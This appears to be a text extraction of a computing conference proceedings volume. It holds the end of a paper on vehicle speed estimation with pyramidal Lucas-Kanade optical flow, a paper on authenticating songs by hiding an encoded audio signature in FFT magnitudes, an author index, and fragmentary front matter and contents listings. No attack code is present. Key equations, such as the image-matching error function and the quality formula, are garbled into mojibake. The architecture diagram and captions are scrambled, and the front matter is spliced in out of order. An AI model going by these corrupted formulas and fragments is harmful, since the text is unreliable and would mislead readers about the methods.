the points scatter outside of the local window so that the Lucas Kanade algorithm
cannot process these points.
To overcome this disadvantage, a pyramidal Lucas Kanade algorithm is used
which works from a higher level of image pyramid to a lower level (finer details).
Tracking through the image pyramid tends to catch large motion by local window.
3 Problem Definition
The optical flow field in the image is calculated on the basis of the two assumptions
that the intensity of any object point is constant over time and that nearby points in
the image plane move in a similar way.
The task here is to calculate the velocity of the vehicle using pyramidal
Lucas-Kanade Algorithm. The entire process can be divided into two phases
Phase 1
(1) Collection of traffic video sequences
(2) Video pre-processing
Phase 2
Pyramidal Lucas-Kanade proceeds as follows:
1. Take two image frames and build an image pyramid.
2. Let the initial flow vector for each pixel be 0, 0.

3. Calculate the x and y derivatives of the first image for each level of the pyramid.
4. For each level of the pyramid, starting at the lowest level we compute the optical
flow for that level of the pyramid.
5. For a certain number of iterations, for a given window, solve LK least squares
and set the new guess as the solution. Repeat iteration until maximum iterations
or threshold has been reached.
6. Propagate velocities from the lower level to the next level and go back to four
until the maximum level of the pyramid has been reached.
4 Proposed Work
Pyramidal Lucas Kanade algorithm is used to estimate velocity even when vehicle
is moving at high speed. Pyramidal optical flow allows regions without many edges
to have the correct flow estimates.
4.1 Architecture
See Fig. 1.
Fig. 1 Proposed architecture

for tracking and speed Extract Conversion of
Input
frames image into
estimation of moving vehicle video
from grayscale image
video
Vehicle tracking Preprocessing

by pyramidal of video
Lucas_ Kanade
algorithm
Estimation
Feature of vehicle
extraction velocity
4.2 Velocity Estimation Using Pyramidal Lucas Kanade
The overall pyramidal tracking proceeds as follows

1. First, the optical flow is computed at the deepest pyramid level Lm.
2. Then the result of that computation is propagated to the upper level Lm−1 in a
form of initial guess for the pixel displacement in this level.
3. The result is propagated to the level Lm−2 and so on up to level 0 (the original
image).
To propagate from level to level, we define the image matching error function as
ux þxx ux þxx
ðdÞ ¼ dx ; dy ¼ R R ðIðx; yÞ Jðx þ dx ; y þ dy ÞÞ2
x¼ux xx y¼ux xx
where I is the first image and J is the second image. The similarity function is
measured on an image neighborhood of size (2ωx + 1) × (2ωy + 1). This neigh-
borhood is also called integration window. Considered values for ωx and ωx are
taken as 2, 3, 4, 5, 6, 7 pixels.
5 Results
The expected results are (Figs. 2, 3, 4 and Table 1):
Fig. 2 Original video
Fig. 3 Grayscale video
Fig. 4 Object detected
Table 1 Comparison of measured and estimated velocity

Measured velocity v (cm/s) Computed velocity v′ (cm/s) Error│v − v′│ % Error
(cm/s)
18.95 18.75 0.2 1.05
18.65 18.424 0.226 1.54
25.80 26.096 0.276 1.21
26.69 26.58 0.109 0.412
6 Conclusion
Lucas Kanade gives better results in velocity estimation. However, it is done only
when density of vehicles is low and the speed of the vehicles is not very fast. So we
have used the Lucas Kanade pyramidal algorithm in our proposed system which is
an iterative algorithm. It is used to estimate the velocity even when the vehicle is
moving at high speed. This method gives better result compared to conventional or
existing methods. In the future, this may be tested with more number of vehicles
and also at nighttimes.
References
1. Rahim, H.A., Sheikh, U.U. Ahmad, R.B., Zain, A.S.M.: Vehicle Velocity Estimation for
Traffic Surveillance System 4 (2010-09-2
2. Kesrarat, D., Patanavijit, V.: Tutorial of motion estimation based on Horn-Schunk optical flow
algorithm in MATLAB. IEEE AU J.T. 15(1), 8–16 (2011)
3. Basak, K., Manjunatha, M., Dutta, P.K.: Pyramidal refinement of Lucas—Kanade optical flow
based tracking of peripheral air embolism in OCT contrast imaging. 52(12) 2012
4. Shukla, D., Patel, E., Speed determination of moving vehicles using Lucas-Kanade algorithm
2(1), 32–36 (2013)
5. Sethi, N., Aggarwal, A. (Senior Assistant Professor) robust face detection and tracking using
pyramidal Lucas Kanade tracker algorithm. 2(5), 1432–1438
6. Shirgeri, S., Naik, P.U., Udupi, G.R., Bidkar, G.A.: Design and development of Optical flow
based Moving object detection and tracking (OMODT) system. Int. J. Comput. Eng. Res. 03
(4)
7. Patel, E., Shukla, D.: Comparison of optical flow algorithms for speed determination of
moving objects. 63(5) 2013
8. Trucco, E., Verri, A.: Introductory Techniques to 3d Computer Vision, 1st edn. Prentice Hall,
New Jersy (1998)
9. Bozkurt, E., Sarkan, M.O.: Graduation Project Final Report, June 23, 2004
10. Yu, X.-D., Duan, L.-Y., Tian, Q., E.F.: Highway traffic information extraction from skycam
MPEG video. In: Proceedings of IEEE 5th International Conference on Intelligent
Transportation Systems pp. 37–42 (2002)
11. Garibotto, G., Castello, P., Del Ninno, E., Edrazzi, P., Zan, G., E.F.: Speed-vision: speed
measurement by license plate reading and tracking. In: Proceedings of IEEE Intelligent
Transportation System Conference, pp. 585–590 (2001)
12. Pelegrí, J., Alberola, J., Llario, V., E.F.: Vehicle detection and car speed monitoring systems
using GMR magnetic sensors. In: Proceedings of IEEE 2002 28th Annual Conference
Industrial Electronics Society, pp. 1693–1695 (2002)
Authentication of Audio Signals
in Frequency Domain (AASF)
Uttam Kr. Mondal and J.K. Mandal
Abstract In this paper, an approach has been made to authenticate an audio song
in a collection of a similar one. Generating a unique signature with the help of
another short length audio signal that will not be directly embedded into the original
song but its encoded lower magnitude values will embed into the original song as a
prime identity. Encoding hidden audio into lower magnitude values followed by
embedding lower magnitude values into specified locations of magnitude values of
original song in a predefined way that is not affected by its audible quality carries a
secret authenticating message for quickly identifying it from similar signals.
A comparative study has been made with similar existing techniques and experi-
mental results are supported with mathematical formula based on Microsoft WAVE
(“.wav”) stereo sound file.

Keywords Authentication Audio encoding Audible quality Authenticating

message Frequency domain
1 Introduction
Rapidly changing editing and mixing technology in music now makes it easier to
create a song by modifying or mixing some portions of previously created songs.
Different versions of original songs are spread on the market without taking per-
mission from the original music creator [1, 2, 3]. People are even choosing new
creative portions from available songs and with slight modifications to create new
U.Kr. Mondal (&)

Department of Computer Science, Vidyasagar University,
Midnapur, West Bengal, India
e-mail: uttam_ku_82@yahoo.co.in
J.K. Mandal
Department of CSE, University of Kalyani, Nadia, West Bengal, India

682 U.Kr. Mondal and J.K. Mandal
music without acknowledging the credential sources. Sometimes it is launched into

the market before the original. Thus, the original song becomes older even before
becoming public; industries as well as concerned persons are losing revenue.
Therefore, an automated authenticating software is required that detects copied or
modified portions with a hidden signature that reveals the truth with appropriate
justifications [4].
In this paper, an approach has been made to embed a unique signature into an
original song without changing its audible properties. A short-length song or a
selected portion is chosen for embedding into some magnitude values in such a way
that it will not bother about its audible quality. Initially, both songs have to rep-
resent the frequency components by applying Fast Fourier Transform (FFT). It is
then passed to an encoder to convert the short-length song into low magnitude
values that will be embedded into predefined portions of the original song.
Inverse FFT is applied to regenerate the original song after embedding.
The organization of the paper is as follows. Encoding secret song is presented in
Sect. 2.1 and embedding the produced secret code is given in Sect. 2.2. The
authentication procedure is depicted in Sect. 2.4 and that of extraction in Sect. 2.3.
Experimental results are given in Sect. 3. Conclusions are drawn in Sect. 4.
References are given at the end.
2 The Technique
The scheme of authenticating an original song is designed based on two operations:

encoding secret song and embedding encoded secret code into original song. The
technique contains two other functions, i.e., determination of audible quality of
song after embedding to estimate the limit of impurities impacted with song and
extraction process to get the original song back, and retrieving the secret song.
Algorithms termed as AASF–EHS and AASF–EEC are proposed to provide
authentication to audio signal, the details of which are given in Sects. 2.1 and 2.2
respectively.
2.1 Encoding Hidden Signal (AASF–EHS)
Encoding short-length song signal into a set of lower magnitude values is per-
formed for embedding into the original song without losing its quality. The details
of encoding are described in Algorithm 1.
Authentication of Audio Signals in Frequency Domain (AASF) 683
Algorithm 1: AASF - EHS

Input: Audio song of length one-fifth of original song
Output: Lower Magnitude values
Method: Find frequency components of selected hidden song (using FFT, as shown
in [7]). Magnitude values have to be converted into equivalent lower values for
embedding into other similar signal. The details of converting lower magnitude values
are given as follows.
Step 1: Find sampled values of selected song and apply Fast Fourier Transform (FFT)
over the song for getting frequency component.
Step 2: Apply following rules for generating ith value to lower magnitude values
i. Divide ith value into five equal parts
ii. Check resultant values of step 2(i). If generated value is more than 20
percentage of maximum magnitude value of hidden song, apply step 2(i) (of
Algorithm 1) again for generating lower magnitude values.
Step 3: Apply step 2 of algorithm 1 for generating lower encoded values of selected
hidden signal.
2.2 Embedding Encoded Code (AASF–EEC)
Generated encoded values of hidden song (as generated by Algorithm 1) are

embedded into selected portions of magnitude values of original song in a specified
way, described in Algorithm 2.
Algorithm 2: AASF - EEC

Input: Encoded values of hidden song (using algorithm 1) and original song
Output: Modified original song
Method: Converting original song into corresponding magnitude values and selecting
some crucial positions for embedding encoded values are described in this section
without losing its audible quality. The details of embedding lower magnitude values
are given as follows.
Step 1: Find sampled values of original song and apply Fast Fourier Transform (FFT)
Step 2: Apply algorithm 1 for generating lower magnitude values of hidden song and
select some portions of magnitude values of original song for embedding. For
ith lower encoded value of hidden song to be embedding with jth magnitude
value of origin as follows
i. Take five consecutive magnitude values for jth position.
ii. Find magnitude value difference d(i,j) i.e. absolute d(i,j) between
th
hidden song i lower magnitude value and selected five consecutive
magnitude values. Choose the magnitude value that generated maximum
d(i,j) for embedding ith encoded value.
iii. Make equal magnitude values for two stereo type channels for selected jth
position of original song (step 2(ii) of algorithm 2) as both are carrying
similar values [1].
iv. Add ith coded value with any of two channel value of jth position of original
song.
Step 3: continue step 2 (of algorithm 2) to embed lower encoded magnitude values
into magnitude values of original song.
Step 4: Apply inverse FFT to get the modified original song back from frequency
domain.
In case of a stereo typed song, one-tenth length of the hidden song has to be taken.
Values of both channels of hidden song would be embedded similarly in Algorithm 2,
but only considering the first half of original song for channel 1 and the second half
for channel 2 of the original song. Other rules would be the same as Algorithm 2.
2.3 Extraction
The original song from the modified embedded song can be generated by applying
Algorithm 2 in reverse. The details of the same are discussed in Algorithm 3.
Algorithm 3: Extraction
Input: Modified original song with authenticating code.
Output: Original song
Method: Removing extra embedded authenticating code from original song is similar
as its embedding method but in reverse. The details of embedding lower magnitude
values are given as follows.
Step 1: Find sampled values of original song and apply Fast Fourier Transform (FFT)
Step 2: Apply algorithm 1 for finding lower magnitude values of hidden song into
magnitude values of original song. For ith lower encoded value of hidden song
to be removed from jth magnitude value of the original as follows
i. Take five consecutive magnitude values for jth position.
ii. Find magnitude value difference d(i,j) i.e. absolute d(i,j) between
hidden song ith lower magnitude value and selected five consecutive
magnitude values. Choose the magnitude value that generated maximum
d(i,j) and remove extra magnitude value from that position after
comparing it corresponding alternate channel’s value of same position.
Step 3: continue step2 (of algorithm 3) to remove lower encoded magnitude values
from original song.
2.4 Authentication
Extracting lower encoded values by applying Algorithm 3 and reconstructing the

hidden song from these generated lower encoded values (as shown in Algorithm 4)
together can be used for authenticating the original song. If the extracted hidden
song is the same as the original hidden song, then no changes occur in processing.
Otherwise, it has a chance of modification of the original song or its constituent
components. This authentication process may be achieved in two directions. Either
converting hidden message into generated hidden song and matching with original
hidden song or converting original hidden song into encoded values (using
Algorithm 2) and matching with extracted encoded form of hidden message (using
Algorithm 3). It is noted that both ways carry the same computation cost.
Algorithm 4: Authentication
Input: Lower encoded magnitude values
Output: Hidden song
Method: Converting lower magnitude values into hidden song is as similar as
encoding method (algorithm 1) in reverse. The details of converting lower magnitude
values are given as follows.
Step 1: Apply following rules for generating jth position’s embedded lower
magnitude value to corresponding secret song value
i. Deduct extra value from jth position of original song comparing both
channels (same as step 2(ii) algorithm 3).
ii. Multiply jth value by five and generate corresponding result.
iii. If generated result of step 2(ii) greater than the one fifth value of jth
position of original son, apply step 2(ii) again otherwise go to step 3.
Step 3: Apply step 2 of algorithm 4 for generating all magnitude values of hidden
song.
Step 4: Apply inverse FFT to generate hidden song back over magnitude values of
step 3 of algorithm 4.
Encoding and decoding techniques have been applied over 10 s recorded songs; the
song is represented by a complete procedure along with results in each intermediate
step outlined in Sects. 3.1.1–3.1.3. The results are discussed in two sections of
which Sect. 3.1 deals with the result associated with AASF and Sect. 3.2 gives a
comparison with existing techniques.
3.1 Results
For experimental observation, a strip of a 10 s pop song (‘Does your mother know’,
sung by Abba) was taken. The sampled value of the song is given in Table 1 as a
two-dimensional matrix. Figure 1 shows the amplitude-time graph of the original
signal. The output generated in the process is shown in Fig. 2 (number of sampled
values is 463,104). Figure 3 shows the difference in frequency ratio of the original
and modified song with authenticating code. From Fig. 3 it is seen that the deviation
is very less and which will not affect the quality of the song in any way.
Table 1 Sampled data array Sl. no. x(k,1) x(k,2)

x(n, 2)
… … …
0 0.0001
0.0000 0.0000
−0.0008 −0.0008
−0.0007 −0.0008
−0.0011 −0.0011
−0.0015 −0.0016
−0.0021 −0.0022
−0.0026 −0.0026
−0.0022 −0.0021
… … …
Fig. 1 Original song (‘Does your mother know’, sung by Abba)
Fig. 2 Modified song after modulating amplitude and adding authenticating code
Fig. 3 The difference of magnitude values between signal Figs. 1 and 2
3.1.1 Original Recorded Song Signal (10 s)
The values for sampled data array x(n,2) from the original song is given in Table 1,
while the graphical representation of the original song, considering all rows
(463104) of x(n,2) is given in Fig. 1.
3.1.2 Modified Song After Embedding Authenticating Code (10 s)
The graphical representation of the modified song signal is shown in Fig. 2.
3.1.3 The Difference of Magnitude Values Between Original

and Modified Signal
The graphical representation of the magnitude differences of original and modified

songs is shown in Fig. 3.
3.2 Comparison
Various algorithms are available for embedding information with audio signals.
A few of them are aware of the audible quality of song signals; of them, two
techniques [5, 6] are considered here to compare the performance of the proposed
algorithm strength. The comparison results given before and after embedding secret
message/modifying parts of signal (16-bit stereo audio signals sampled at
44.1 kHz.) is given in Tables 2, 3, and 4. Average absolute difference (AD) is used
Table 2 Metric for difference distortion for five different songs

Sl. no. Statistical parameters AASF (average) DHPMA (average) MCAIH (average)
1 MD 0.097 0.0666 0.0065
2 AD 0.0139 0.0011 4.63E−04
3 NAD 0.1482 0.0116 0.0049
4 MSE 3.03E−04 1.84E−06 4.32E−07
5 NMSE 53.1966 8.76E + 03 3.74E+04
Table 3 Average signal-to-noise ratio (SNR) and average peak signal-to-noise ratio (PSNR) for
five different songs
Sl. no. Statistical parameters AASF (average) DHPMA (average) MCAIH (average)
1 SNR 21.8402 39.6995 54.8634
2 PSNR 67.0954 56.1999 66.3504
Table 4 Average normalized cross-correlation and correlation quality for five different songs
Sl. no. Statistical parameters for AASF (average) DHPMA (average) MCAIH (average)
differential distortions
1 NC 0.986 0.9999 0.9999
2 QC −0.0011 −0.0011 −0.0011
as the dissimilarity measurement between original song and modified song to justify
the modified song, while a lower value of AD signifies lesser error in the modified
song. Normalized average absolute difference (NAD) is quantization error is to
measure normalized distance to a range between 0 and 1. Mean square error
(MSE) is the cumulative squared error between the embedded song and the original
song. A lower value of MSE signifies lesser error in the embedded song. The SNR
is used to measure how much a signal has been tainted by noise. It represents
embedding errors between original song and modified song and is calculated as the
ratio of signal power (original song) to the noise power corrupting the signal.
A ratio higher than 1:1 indicates more signal than noise. The PSNR is often used to
assess the quality measurement between the original and a modified song. The
higher the PSNR, the better the quality of the modified song. Thus, from our
experimental results of benchmarking parameters (NAD, MSE, NMSE, SNR, and
PSNR) the proposed method obtained better performances without affecting the
audio quality of song as shown in Table 2.
Table 3 gives the experimental results in terms of signal-to-noise ratio
(SNR) and peak signal-to-noise ratio (PSNR). Table 4 represents comparative
values of normalized cross-correlation (NC) and correlation quality (QC) of pro-
posed algorithm with DHPMA. Table 5 shows PSNR, SNR, Bit Error Rate
(BER) and Mean opinion score (MOS) values for the proposed algorithm. Here all
the BER values are 0. Figure 4 summarizes the results of this experimental test. It
shows this algorithm’s performance is stable for different types of audio signals and
is better than DHPMA and MCAIH. The ITU-R Rec. 500 quality rating is perfectly
Table 5 SNR, PSNR BER, Audio (1 s) SNR PSNR BER MOS

MOS for five different songs
Song1 19.801 64.7834 0 5
Song2 20.7196 60.7631 0 5
Song3 24.8284 73.4247 0 5
Song4 23.0826 66.9083 0 5
Song5 20.7695 69.5976 0 5
100 SNR
50 PSNR
0
BER
MOS
Fig. 4 Performance measure for five different audio signals
Table 6 Quality rating scale Rating Impairment Quality

5 Imperceptible Excellent
4 Perceptible, not annoying Good
3 Slightly annoying Fair
2 Annoying Poor
1 Very annoying Bad
suited for this task, as it gives a quality rating on a scale of 1–5 [7]. Table 6 shows
the rating scale along with the quality level represented.
This quality rating (mean opinion score) is computed using Eq. (1).
5
Quality ¼ ð1Þ
1 þ N SNR
where N is a normalization constant and SNR is the measured signal-to-noise ratio.
In this paper, an algorithm for generating the hidden authenticating audio signal in
frequency domain has been proposed, which will not affect the song quality but will
ensure to detect the distortion of song signal characteristics during processing. As
discussed, the proposed technique is easy to implement.
This technique is developed based on the observation of characteristics of dif-
ferent songs, but the mathematical model for representing the variation of these
characteristics after modification may be formulated in the future. It can also be
extended to embed an image into an audio signal instead of audio signal value. The
perfect estimation of percentage of threshold numbers of sampled data of song that
can be allowed to change for a normal conditions will be done in the future with all
possibilities of errors.
References
1. Mondal, U.Kr., Mandal, J.K.: A novel technique to protect piracy of quality songs through
amplitude manipulation (PPAM). International Symposium on Electronic System Design (ISED
2010), ISBN 978-0-7695-4294-2, pp. 246–250 (2010)
2. Erten, G., Salam, F.: Voice output extraction by signal separation. ISCAS ’98, ISBN
07803-4455-3 3, 5–8 (1998)
3. Mondal, U.Kr., Mandal, J.K.: A practical approach of embedding secret key to authenticate
Tagore songs (ESKATS). In: 2nd International Conference on Wireless Information Networks
& Business information System (WINBIS 09), ISSN: 2091–0266, pp. 67–74 (2010)
4. Katzenbeisser, S., Petitcolas, F.A.P.: Information Hiding Techniques for Steganography and
Digital Watermarking, Artech House, Norwood, MA, ISBN 978-1-58053-035-4(2000)
5. Xiaoxiao, D., Mark, F., Bocko, Z.I.: Data hiding via phase manipulation of audio signals. In:
IEEE International Conference on Acoustics, Speech, and Signal Processing, vol. 5, pp. 377–
380 (ICASSP 2004), ISBN 0-7803-8484-9 (2004)
6. Blackledge et al., J.M.: Multi-channel audio information hiding. Proceedings of the 15th
International Conference on Digital Audio Effects (DAFx-12), York, Sept 17–21 2012
7. Arnold, M.: Audio watermarking: features, applications and algorithms, In: IEEE International
Conference on Multimedia and Expo, New York, 2, 1013–1016 (2000)
Author Index
A D
Agarwal, Mohit, 1 Das, Nibaran, 491
Agarwal, Prashant, 35 Dasgupta, Sarbani, 397
Agarwal, Vipul, 201 Devathi, Swathi, 353
Agrawal, Himanshu, 85, 107, 175 Dey, Chanchal, 191, 445
Agrawal, Poorva, 107 Dhanalakshmi, P., 117
Agrawal, Sharan, 301 Dhanavanthini, P., 137
Ahmad, Tanvir, 301 Dhavachelvan, P., 333, 341
Ahuja, Sachin, 95, 235 Dillen, Nicole Belinda, 55
Ajith Jubilson, E., 137 Dinesh, M.S., 259
Alekhya, Thanikonda, 645
Ali, Mahvish, 547 F
Amudhavel, J., 333, 341 Fernandes, Steven Lawrence, 467, 473
Anand Kumar, M., 75
Ansari, Mohd Zeeshan, 127 G
Anusha, T.R., 15 Ghosh, Arijit, 445
Arora, Chirag, 665 Ghrera, S.P., 407
Asha, J., 25 Gite, Shilpa, 85
Goel, Antriksh, 175
B Govardhan, A., 389, 655
Babu, Sunu S., 45 Gowri Pushpa, G., 673
Balamuralikrishna, Potti, 479 Gugnani, Gunjan, 407
Baral, R.N., 665 Gupta, P.K., 407
Baskaran, R., 333 Gupta, Ravina, 35
Bharathan, Kala, 25 Gurnani, Mohit, 175
Bhasin, Harsh, 183
Bhattacharya, Pratyusha, 511 H
Bhattar, Raghunadh K., 459 Halder, Chayan, 491
Bhavani, S.A., 637 Haribabu, T., 609
Bindu, C. Shoba, 249 Hemantha Kumar, G., 259
Biswas, Samarpita, 55 Hemavathi, N., 15
Hinduja, P., 593
C
Chakraborty, Anirban, 511 J
Chakraborty, Aruna, 55 Jadhav, Dipti, 167
Chakradhar Rao, B., 581 Jagadeesh, M., 75
Challa, Sathi Raju, 521 Jani, Aashish N., 323
Chantigari, Krishna Reddy, 291 Jaya Suma, G., 557
Chaurasia, Vijayshri, 201 Jayaprada, S., 609

in Intelligent Systems and Computing 381, DOI 10.1007/978-81-322-2526-3
692 Author Index
Johari, Rahul, 95, 235 Nandhini, R., 341

Josemin Bala, G., 467, 473 Nandury, Satyanarayana V., 209
Joshi, Anurag, 107
O
K Obaidullah, S.M., 491
Kamakula, Kamaraju, 673
Kanaka Durga, R., 353 P
Kaur, Inderpreet, 7 Padmapriya, S., 341
Kavila, Selvani Deepthi, 573 Palagiri, Anjani Harsha Vardhini, 291
Kavipriya, G., 341 Panse, Chanda, 65
Khan, Subuhi, 547 Paranidharan, S., 137
Khanna, Esha, 183 Parwekar, Pritee, 629
Khokhar, Chetna, 95, 235 Pathak, Garima, 35
Kriti, 539 Pattnaik, Shyam S., 665
Kole, Dipak Kumar, 55 Paul, Parikshit Kumar, 191
Koolagudi, Shashidhar G., 157 Pedireddla, Praveen Kumar, 619
Kshirsagar, Manali, 65 Pillai, Anju S., 45
Kumar, Amit, 1 Prabu, U., 333
Kumar, C. Pavan, 459 Prakash, Shiv, 219
Kumar, G. Vijaya, 249 Pravinpathi, V., 137
Kumar, Manoj, 127
Kumar, Salavadi Ananda, 145 R
Kumar, Satrughan, 417 Raghuwanshi, Ghanshyam, 427
Kumar, Vineet, 281 Raj, P. Prudvi, 601
Kumar, Yogendra, 311 Raje, Dhananjay, 65
Kumuda, N.S., 259 Rajput, Shrey, 175
Raju, Imandi, 629
L Rama Koti Reddy, D.V., 521
Lalitha, R.V.S., 557 RamCoumare, M., 137
Lokeswari, N., 581 Ramesh, B., 637
Ram Naresh Yadav, B.V., 363
M Rana, Shivam, 301
Mahantesh, K., 15 Rani, B. Padmaja, 271
Mahapatra, Suman, 529 Rani, D. Fathima, 573
Maharaj, B.T.J., 407 Rani, J. Sharmila, 673
Makkena, Madhavi Latha, 291 Ranjan Mishra, S., 645
Malekian, Reza, 407 Rao BV, Devendra, 209
Mandal, J.K., 511, 529, 681 Rao, Ch. Seshadri, 601
Manjunath Aradhya, V.N., 15 Rao, T.V., 655
Martis, Jason, 437 Rathikarani, V., 117
Mehta, Richa, 323 Ravi Kiran, B., 593
Mohan, Vaka Murali, 353 Roy, Kaushik, 491
Mondal, Uttam Kr., 681 Roy, Pallavi, 511
Mudi, Rajani K., 191
Muralidhar, P., 637 S
Murthy, K.E. Sreenivasa, 145 Saha, Banani, 397
Sahu, Dinesh Prasad, 219
N Sahu, Mridu, 35
Nageswara Rao, K., 389 Saini, Hemraj, 375
Nagwani, N.K., 35 Samuel, Anuja T., 25
Nanda, Umang, 175 Sanki, Pradyut Kumar, 501
Author Index 693
Santhosh Kumar, Ch.N., 389 Subhashini, Peneti, 271

Santhosi, G., 673 Subramanyam, M.V., 479
Saravanan, N., 333 Sufyan Beg, M.M., 127
Saste, Prashant, 437 Suresh, K., 593
Satya Prasad, K., 479
Satyanarayana, B., 363 T
Selvakumar, R., 459 Tyagi, Vipin, 427
Sen, Satyaki, 445
Senathi, Anitha, 167 V
Shantanu, 1 Vasumathi, D., 209, 363
Sharma, Kamal Kant, 7 Venkatachalapathy, V.S.K., 333, 341
Sharma, Kapil, 183 Verma, Shrish, 35
Sharma, Manish, 1 Victer Paul, P., 137
Sharma, Rahul, 157 Vijayakumar, K., 117
Shirke, Saransh, 35 Vinod, Gopika, 167
Shyama Chandra Prasad, G., 655 Virmani, Jitendra, 539
Singh, Bhupendra, 1
Singh, Gurpreet, 281 W
Singh, Karan, 219, 225 Wadhwani, Arun Kumar, 311
Singh, Ninni, 375 Wajgi, Dipak, 65
Sisodia, Shilpi, 311
Snehkunj, Rupal, 323 Y
Sodhi, Vishal, 35 Yadav, Dileep Kumar, 225
Soman, K.P., 75 Yadav, Jigyendra Sen, 417
Srinivasa Murthy, Y.V., 157 Yadwad, Sunita A., 619
Srujan Raju, K., 353

2015 IC Scopus Htpvanet IC3T-Springer-Vol3

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

2015 IC Scopus Htpvanet IC3T-Springer-Vol3

Uploaded by

Copyright:

Available Formats

Advances in Intelligent Systems and Computing 381

More information about this series at http://www.springer.com/series/11156

Jyotsna Kumar Mandal Vikrant Bhateja

Proceedings of the Second

ISSN 2194-5357 ISSN 2194-5365 (electronic)

Library of Congress Control Number: 2015944452

Springer New Delhi Heidelberg New York Dordrecht London

Printed on acid-free paper

Springer (India) Pvt. Ltd. is part of Springer Science+Business Media (www.springer.com)

This volume contains 71 papers presented at the 2nd International Conference on

July 2015 Suresh Chandra Satapathy

Sri. C. Gopal Reddy, Chairman

Dr. A. Govardhan, SIT, JNTUH

Prof. Dimlo. U. Fernandes

Dr. K. Srujan Raju

Mrs. Suvarna Gothane

Dr. K. Srujan Raju

Prof. T. Sai Kumar

Marketing and PR Committee

Mr. Md. Shabeer

Mrs. Shriya kumari

Web Portal Committee

Dr. K. Srujan Raju, CMRTC

International Advisory Committee/Technical Committee

Mr. Gautham Mahapatra, Sr. Scientist, DRDO, India

External Reviewers Board

Ankur Singh Bist, KIET, Ghaziabad, India

Balasaheb Deokate, Vidya Pratishthan’s College of Engineering, Baramati, India

S. Ratan Kumar, ANITS, Vishakapatnam

Gesture Controlled Wireless Device for Disabled. . . . . . . . . . . . . . . . . 1

Implementation of Genetic Algorithm for Optimization

An Investigation of Gabor PCA and Different Similarity Measure

A Low-Power High-Speed Double Manchester Carry Chain

Study and Analysis of Electrocardiography Signals for

Design and Implementation of Two-Wheeled Self-Balancing

A Time Efficient Secret Image Sharing Scheme for Group

Imputation of Missing Gene Expressions for DNA Microarray

Deep Belief Network Based Part-of-Speech Tagger

On Context Awareness for Multisensor Data Fusion in IoT . . . . . . . . . 85

CRiPT: Cryptography in Penetration Testing . . . . . . . . . . . . . . . . . . . 95

Simultaneous Localization and Mapping for Visually

Automatic ECG Image Classification Using HOG and RPC

Enhancement of Fuzzy Rank Aggregation Technique . . . . . . . . . . . . . 127

Intelligent Telecommunication System Using Semantic-Based

Minimizing Excessive Handover Using Optimized Cuckoo

Audio Songs Classification Based on Music Patterns . . . . . . . . . . . . . . 157

Software Reliability Based on Software Measures Applying

On Context Awareness and Analysis of Various Classification

Neural Network-Based Automated Priority Assigner . . . . . . . . . . . . . . 183

Design of IMC Controller for TITO Process with Dynamic

All Optical SOA-MZI-Based Encryption Decryption System

Exploiting Common Nodes in Overlapped Clusters for Path

Maximizing Availability and Minimizing Markesan for Task

Moving Object Detection for Visual Surveillance

IoTA: Internet of Things Application . . . . . . . . . . . . . . . . . . . . . . . . . 235

Improving Performance of Wireless Mesh Networks Through

Characterization of Human Fingernails Using Iterative

Confidential Terms Detection Using Language Modeling

ECG-Driven Extraction of Respiration Rate Using Ensemble

An Efficient On-Chip Implementation of Reconfigurable

Random Forest for the Real Forests . . . . . . . . . . . . . . . . . . . . . . . . . . 301

Hybrid GA and PSO Approach for Transmission Expansion

Pattern Detection Framework for MRI Images and Labeling

A Distributed Spanning Tree-Based Dynamic Self-Organizational